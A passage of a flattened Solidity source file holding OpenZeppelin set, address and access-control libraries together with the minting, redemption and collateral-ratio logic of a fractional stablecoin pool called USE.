because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: contracts\@openzeppelin\contracts\utils\Address.sol // License: MIT /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts\@openzeppelin\contracts\GSN\Context.sol // License: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts\@openzeppelin\contracts\access\AccessControl.sol // License: MIT /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts\Common\ContractGuard.sol // License: MIT contract ContractGuard { mapping(uint256 => mapping(address => bool)) private _status; function checkSameOriginReentranted() internal view returns (bool) { return _status[block.number][tx.origin]; } function checkSameSenderReentranted() internal view returns (bool) { return _status[block.number][msg.sender]; } modifier onlyOneBlock() { require( !checkSameOriginReentranted(), 'ContractGuard: one block, one function' ); require( !checkSameSenderReentranted(), 'ContractGuard: one block, one function' ); _; _status[block.number][tx.origin] = true; _status[block.number][msg.sender] = true; } } // File: contracts\Common\IERC20Detail.sol // License: MIT interface IERC20Detail is IERC20 { function decimals() external view returns (uint8); } // File: contracts\Share\IShareToken.sol // License: MIT interface IShareToken is IERC20 { function pool_mint(address m_address, uint256 m_amount) external; function pool_burn_from(address b_address, uint256 b_amount) external; function burn(uint256 amount) external; } // File: contracts\Oracle\IUniswapPairOracle.sol // License: MIT // Fixed window oracle that recomputes the average price for the entire period once every period // Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period interface IUniswapPairOracle { function getPairToken(address token) external view returns(address); function containsToken(address token) external view returns(bool); function getSwapTokenReserve(address token) external view returns(uint256); function update() external returns(bool); // Note this will always return 0 before update has been called successfully for the first time. function consult(address token, uint amountIn) external view returns (uint amountOut); } // File: contracts\USE\IUSEStablecoin.sol // License: MIT interface IUSEStablecoin { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function owner_address() external returns (address); function creator_address() external returns (address); function timelock_address() external returns (address); function genesis_supply() external returns (uint256); function refresh_cooldown() external returns (uint256); function price_target() external returns (uint256); function price_band() external returns (uint256); function DEFAULT_ADMIN_ADDRESS() external returns (address); function COLLATERAL_RATIO_PAUSER() external returns (bytes32); function collateral_ratio_paused() external returns (bool); function last_call_time() external returns (uint256); function USEDAIOracle() external returns (IUniswapPairOracle); function USESharesOracle() external returns (IUniswapPairOracle); /* ========== VIEWS ========== */ function use_pools(address a) external view returns (bool); function global_collateral_ratio() external view returns (uint256); function use_price() external view returns (uint256); function share_price() external view returns (uint256); function share_price_in_use() external view returns (uint256); function globalCollateralValue() external view returns (uint256); /* ========== PUBLIC FUNCTIONS ========== */ function refreshCollateralRatio() external; function swapCollateralAmount() external view returns(uint256); function pool_mint(address m_address, uint256 m_amount) external; function pool_burn_from(address b_address, uint256 b_amount) external; function burn(uint256 amount) external; } // File: contracts\USE\Pools\USEPoolAlgo.sol // License: MIT contract USEPoolAlgo { using SafeMath for uint256; // Constants for various precisions uint256 public constant PRICE_PRECISION = 1e6; uint256 public constant COLLATERAL_RATIO_PRECISION = 1e6; // ================ Structs ================ // Needed to lower stack size struct MintFU_Params { uint256 shares_price_usd; uint256 col_price_usd; uint256 shares_amount; uint256 collateral_amount; uint256 col_ratio; } struct BuybackShares_Params { uint256 excess_collateral_dollar_value_d18; uint256 shares_price_usd; uint256 col_price_usd; uint256 shares_amount; } // ================ Functions ================ function calcMint1t1USE(uint256 col_price, uint256 collateral_amount_d18) public pure returns (uint256) { return (collateral_amount_d18.mul(col_price)).div(1e6); } // Must be internal because of the struct function calcMintFractionalUSE(MintFU_Params memory params) public pure returns (uint256,uint256, uint256) { (uint256 mint_amount1, uint256 collateral_need_d18_1, uint256 shares_needed1) = calcMintFractionalWithCollateral(params); (uint256 mint_amount2, uint256 collateral_need_d18_2, uint256 shares_needed2) = calcMintFractionalWithShare(params); if(mint_amount1 > mint_amount2){ return (mint_amount2,collateral_need_d18_2,shares_needed2); }else{ return (mint_amount1,collateral_need_d18_1,shares_needed1); } } // Must be internal because of the struct function calcMintFractionalWithCollateral(MintFU_Params memory params) public pure returns (uint256,uint256, uint256) { // Since solidity truncates division, every division operation must be the last operation in the equation to ensure minimum error // The contract must check the proper ratio was sent to mint USE. We do this by seeing the minimum mintable USE based on each amount uint256 c_dollar_value_d18_with_precision = params.collateral_amount.mul(params.col_price_usd); uint256 c_dollar_value_d18 = c_dollar_value_d18_with_precision.div(1e6); uint calculated_shares_dollar_value_d18 = (c_dollar_value_d18_with_precision.div(params.col_ratio)) .sub(c_dollar_value_d18); uint calculated_shares_needed = calculated_shares_dollar_value_d18.mul(1e6).div(params.shares_price_usd); return ( c_dollar_value_d18.add(calculated_shares_dollar_value_d18), params.collateral_amount, calculated_shares_needed ); } // Must be internal because of the struct function calcMintFractionalWithShare(MintFU_Params memory params) public pure returns (uint256,uint256, uint256) { // Since solidity truncates division, every division operation must be the last operation in the equation to ensure minimum error // The contract must check the proper ratio was sent to mint USE. We do this by seeing the minimum mintable USE based on each amount uint256 shares_dollar_value_d18_with_precision = params.shares_amount.mul(params.shares_price_usd); uint256 shares_dollar_value_d18 = shares_dollar_value_d18_with_precision.div(1e6); uint calculated_collateral_dollar_value_d18 = shares_dollar_value_d18_with_precision.mul(params.col_ratio) .div(COLLATERAL_RATIO_PRECISION.sub(params.col_ratio)).div(1e6); uint calculated_collateral_needed = calculated_collateral_dollar_value_d18.mul(1e6).div(params.col_price_usd); return ( shares_dollar_value_d18.add(calculated_collateral_dollar_value_d18), calculated_collateral_needed, params.shares_amount ); } function calcRedeem1t1USE(uint256 col_price_usd, uint256 use_amount) public pure returns (uint256) { return use_amount.mul(1e6).div(col_price_usd); } // Must be internal because of the struct function calcBuyBackShares(BuybackShares_Params memory params) public pure returns (uint256) { // If the total collateral value is higher than the amount required at the current collateral ratio then buy back up to the possible Shares with the desired collateral require(params.excess_collateral_dollar_value_d18 > 0, "No excess collateral to buy back!"); // Make sure not to take more than is available uint256 shares_dollar_value_d18 = params.shares_amount.mul(params.shares_price_usd).div(1e6); require(shares_dollar_value_d18 <= params.excess_collateral_dollar_value_d18, "You are trying to buy back more than the excess!"); // Get the equivalent amount of collateral based on the market value of Shares provided uint256 collateral_equivalent_d18 = shares_dollar_value_d18.mul(1e6).div(params.col_price_usd); //collateral_equivalent_d18 = collateral_equivalent_d18.sub((collateral_equivalent_d18.mul(params.buyback_fee)).div(1e6)); return ( collateral_equivalent_d18 ); } // Returns value of collateral that must increase to reach recollateralization target (if 0 means no recollateralization) function recollateralizeAmount(uint256 total_supply, uint256 global_collateral_ratio, uint256 global_collat_value) public pure returns (uint256) { uint256 target_collat_value = total_supply.mul(global_collateral_ratio).div(1e6); // We want 18 decimals of precision so divide by 1e6; total_supply is 1e18 and global_collateral_ratio is 1e6 // Subtract the current value of collateral from the target value needed, if higher than 0 then system needs to recollateralize return target_collat_value.sub(global_collat_value); // If recollateralization is not needed, throws a subtraction underflow // return(recollateralization_left); } function calcRecollateralizeUSEInner( uint256 collateral_amount, uint256 col_price, uint256 global_collat_value, uint256 frax_total_supply, uint256 global_collateral_ratio ) public pure returns (uint256, uint256) { uint256 collat_value_attempted = collateral_amount.mul(col_price).div(1e6); uint256 effective_collateral_ratio = global_collat_value.mul(1e6).div(frax_total_supply); //returns it in 1e6 uint256 recollat_possible = (global_collateral_ratio.mul(frax_total_supply).sub(frax_total_supply.mul(effective_collateral_ratio))).div(1e6); uint256 amount_to_recollat; if(collat_value_attempted <= recollat_possible){ amount_to_recollat = collat_value_attempted; } else { amount_to_recollat = recollat_possible; } return (amount_to_recollat.mul(1e6).div(col_price), amount_to_recollat); } } // File: contracts\USE\Pools\USEPool.sol // License: MIT abstract contract USEPool is USEPoolAlgo,ContractGuard,AccessControl { using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ IERC20Detail public collateral_token; address public collateral_address; address public owner_address; address public community_address; address public use_contract_address; address public shares_contract_address; address public timelock_address; IShareToken private SHARE; IUSEStablecoin private USE; uint256 public minting_tax_base; uint256 public minting_tax_multiplier; uint256 public minting_required_reserve_ratio; uint256 public redemption_gcr_adj = PRECISION; // PRECISION/PRECISION = 1 uint256 public redemption_tax_base; uint256 public redemption_tax_multiplier; uint256 public redemption_tax_exponent; uint256 public redemption_required_reserve_ratio = 800000; uint256 public buyback_tax; uint256 public recollat_tax; uint256 public community_rate_ratio = 15000; uint256 public community_rate_in_use; uint256 public community_rate_in_share; mapping (address => uint256) public redeemSharesBalances; mapping (address => uint256) public redeemCollateralBalances; uint256 public unclaimedPoolCollateral; uint256 public unclaimedPoolShares; mapping (address => uint256) public lastRedeemed; // Constants for various precisions uint256 public constant PRECISION = 1e6; uint256 public constant RESERVE_RATIO_PRECISION = 1e6; uint256 public constant COLLATERAL_RATIO_MAX = 1e6; // Number of decimals needed to get to 18 uint256 public immutable missing_decimals; // Pool_ceiling is the total units of collateral that a pool contract can hold uint256 public pool_ceiling = 10000000000e18; // Stores price of the collateral, if price is paused uint256 public pausedPrice = 0; // Bonus rate on Shares minted during recollateralizeUSE(); 6 decimals of precision, set to 0.5% on genesis uint256 public bonus_rate = 5000; // Number of blocks to wait before being able to collectRedemption() uint256 public redemption_delay = 2; uint256 public global_use_supply_adj = 1000e18; //genesis_supply // AccessControl Roles bytes32 public constant MINT_PAUSER = keccak256("MINT_PAUSER"); bytes32 public constant REDEEM_PAUSER = keccak256("REDEEM_PAUSER"); bytes32 public constant BUYBACK_PAUSER = keccak256("BUYBACK_PAUSER"); bytes32 public constant RECOLLATERALIZE_PAUSER = keccak256("RECOLLATERALIZE_PAUSER"); bytes32 public constant COLLATERAL_PRICE_PAUSER = keccak256("COLLATERAL_PRICE_PAUSER"); bytes32 public constant COMMUNITY_RATER = keccak256("COMMUNITY_RATER"); // AccessControl state variables bool public mintPaused = false; bool public redeemPaused = false; bool public recollateralizePaused = false; bool public buyBackPaused = false; bool public collateralPricePaused = false; event UpdateOracleBonus(address indexed user,bool bonus1, bool bonus2); /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == timelock_address || msg.sender == owner_address, "You are not the owner or the governance timelock"); _; } modifier notRedeemPaused() { require(redeemPaused == false, "Redeeming is paused"); require(redemptionOpened() == true,"Redeeming is closed"); _; } modifier notMintPaused() { require(mintPaused == false, "Minting is paused"); require(mintingOpened() == true,"Minting is closed"); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _use_contract_address, address _shares_contract_address, address _collateral_address, address _creator_address, address _timelock_address, address _community_address ) public { USE = IUSEStablecoin(_use_contract_address); SHARE = IShareToken(_shares_contract_address); use_contract_address = _use_contract_address; shares_contract_address = _shares_contract_address; collateral_address = _collateral_address; timelock_address = _timelock_address; owner_address = _creator_address; community_address = _community_address; collateral_token = IERC20Detail(_collateral_address); missing_decimals = uint(18).sub(collateral_token.decimals()); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); grantRole(MINT_PAUSER, timelock_address); grantRole(REDEEM_PAUSER, timelock_address); grantRole(RECOLLATERALIZE_PAUSER, timelock_address); grantRole(BUYBACK_PAUSER, timelock_address); grantRole(COLLATERAL_PRICE_PAUSER, timelock_address); grantRole(COMMUNITY_RATER, _community_address); } /* ========== VIEWS ========== */ // Returns dollar value of collateral held in this USE pool function collatDollarBalance() public view returns (uint256) { uint256 collateral_amount = collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral); uint256 collat_usd_price = collateralPricePaused == true ? pausedPrice : getCollateralPrice(); return collateral_amount.mul(10 ** missing_decimals).mul(collat_usd_price).div(PRICE_PRECISION); } // Returns the value of excess collateral held in this USE pool, compared to what is needed to maintain the global collateral ratio function availableExcessCollatDV() public view returns (uint256) { uint256 total_supply = USE.totalSupply().sub(global_use_supply_adj); uint256 global_collat_value = USE.globalCollateralValue(); uint256 global_collateral_ratio = USE.global_collateral_ratio(); // Handles an overcollateralized contract with CR > 1 if (global_collateral_ratio > COLLATERAL_RATIO_PRECISION) { global_collateral_ratio = COLLATERAL_RATIO_PRECISION; } // Calculates collateral needed to back each 1 USE with $1 of collateral at current collat ratio uint256 required_collat_dollar_value_d18 = (total_supply.mul(global_collateral_ratio)).div(COLLATERAL_RATIO_PRECISION); if (global_collat_value > required_collat_dollar_value_d18) { return global_collat_value.sub(required_collat_dollar_value_d18); } return 0; } /* ========== PUBLIC FUNCTIONS ========== */ function getCollateralPrice() public view virtual returns (uint256); function getCollateralAmount() public view returns (uint256){ return collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral); } function requiredReserveRatio() public view returns(uint256){ uint256 pool_collateral_amount = getCollateralAmount(); uint256 swap_collateral_amount = USE.swapCollateralAmount(); require(swap_collateral_amount>0,"swap collateral is empty?"); return pool_collateral_amount.mul(RESERVE_RATIO_PRECISION).div(swap_collateral_amount); } function mintingOpened() public view returns(bool){ return (requiredReserveRatio() >= minting_required_reserve_ratio); } function redemptionOpened() public view returns(bool){ return (requiredReserveRatio() >= redemption_required_reserve_ratio); } // function mintingTax() public view returns(uint256){ uint256 _dynamicTax = minting_tax_multiplier.mul(requiredReserveRatio()).div(RESERVE_RATIO_PRECISION); return minting_tax_base + _dynamicTax; } function dynamicRedemptionTax(uint256 ratio,uint256 multiplier,uint256 exponent) public pure returns(uint256){ return multiplier.mul(RESERVE_RATIO_PRECISION**exponent).div(ratio**exponent); } // function redemptionTax() public view returns(uint256){ uint256 _dynamicTax =dynamicRedemptionTax(requiredReserveRatio(),redemption_tax_multiplier,redemption_tax_exponent); return redemption_tax_base + _dynamicTax; } function updateOraclePrice() public { IUniswapPairOracle _useDaiOracle = USE.USEDAIOracle(); IUniswapPairOracle _useSharesOracle = USE.USESharesOracle(); bool _bonus1 = _useDaiOracle.update(); bool _bonus2 = _useSharesOracle.update(); if(_bonus1 || _bonus2){ emit UpdateOracleBonus(msg.sender,_bonus1,_bonus2); } } // We separate out the 1t1, fractional and algorithmic minting functions for gas efficiency function mint1t1USE(uint256 collateral_amount, uint256 use_out_min) external onlyOneBlock notMintPaused { updateOraclePrice(); uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals); require(USE.global_collateral_ratio() >= COLLATERAL_RATIO_MAX, "Collateral ratio must be >= 1"); require(getCollateralAmount().add(collateral_amount) <= pool_ceiling, "[Pool's Closed]: Ceiling reached"); (uint256 use_amount_d18) = calcMint1t1USE( getCollateralPrice(), collateral_amount_d18 ); //1 USE for each $1 worth of collateral community_rate_in_use = community_rate_in_use.add(use_amount_d18.mul(community_rate_ratio).div(PRECISION)); use_amount_d18 = (use_amount_d18.mul(uint(1e6).sub(mintingTax()))).div(1e6); //remove precision at the end require(use_out_min <= use_amount_d18, "Slippage limit reached"); collateral_token.transferFrom(msg.sender, address(this), collateral_amount); USE.pool_mint(msg.sender, use_amount_d18); } // Will fail if fully collateralized or fully algorithmic // > 0% and < 100% collateral-backed function mintFractionalUSE(uint256 collateral_amount, uint256 shares_amount, uint256 use_out_min) external onlyOneBlock notMintPaused { updateOraclePrice(); uint256 share_price = USE.share_price(); uint256 global_collateral_ratio = USE.global_collateral_ratio(); require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999"); require(getCollateralAmount().add(collateral_amount) <= pool_ceiling, "Pool ceiling reached, no more USE can be minted with this collateral"); uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals); MintFU_Params memory input_params = MintFU_Params( share_price, getCollateralPrice(), shares_amount, collateral_amount_d18, global_collateral_ratio ); (uint256 mint_amount,uint256 collateral_need_d18, uint256 shares_needed) = calcMintFractionalUSE(input_params); community_rate_in_use = community_rate_in_use.add(mint_amount.mul(community_rate_ratio).div(PRECISION)); mint_amount = (mint_amount.mul(uint(1e6).sub(mintingTax()))).div(1e6); require(use_out_min <= mint_amount, "Slippage limit reached"); require(shares_needed <= shares_amount, "Not enough Shares inputted"); uint256 collateral_need = collateral_need_d18.div(10 ** missing_decimals); SHARE.pool_burn_from(msg.sender, shares_needed); collateral_token.transferFrom(msg.sender, address(this), collateral_need); USE.pool_mint(msg.sender, mint_amount); } // Redeem collateral. 100% collateral-backed function redeem1t1USE(uint256 use_amount, uint256 COLLATERAL_out_min) external onlyOneBlock notRedeemPaused { updateOraclePrice(); require(USE.global_collateral_ratio() == COLLATERAL_RATIO_MAX, "Collateral ratio must be == 1"); // Need to adjust for decimals of collateral uint256 use_amount_precision = use_amount.div(10 ** missing_decimals); (uint256 collateral_needed) = calcRedeem1t1USE( getCollateralPrice(), use_amount_precision ); community_rate_in_use = community_rate_in_use.add(use_amount.mul(community_rate_ratio).div(PRECISION)); collateral_needed = (collateral_needed.mul(uint(1e6).sub(redemptionTax()))).div(1e6); require(collateral_needed <= getCollateralAmount(), "Not enough collateral in pool"); require(COLLATERAL_out_min <= collateral_needed, "Slippage limit reached"); redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_needed); unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_needed); lastRedeemed[msg.sender] = block.number; // Move all external functions to the end USE.pool_burn_from(msg.sender, use_amount); require(redemptionOpened() == true,"Redeem amount too large !"); } // Will fail if fully collateralized or algorithmic // Redeem USE for collateral and SHARE. > 0% and < 100% collateral-backed function redeemFractionalUSE(uint256 use_amount, uint256 shares_out_min, uint256 COLLATERAL_out_min) external onlyOneBlock 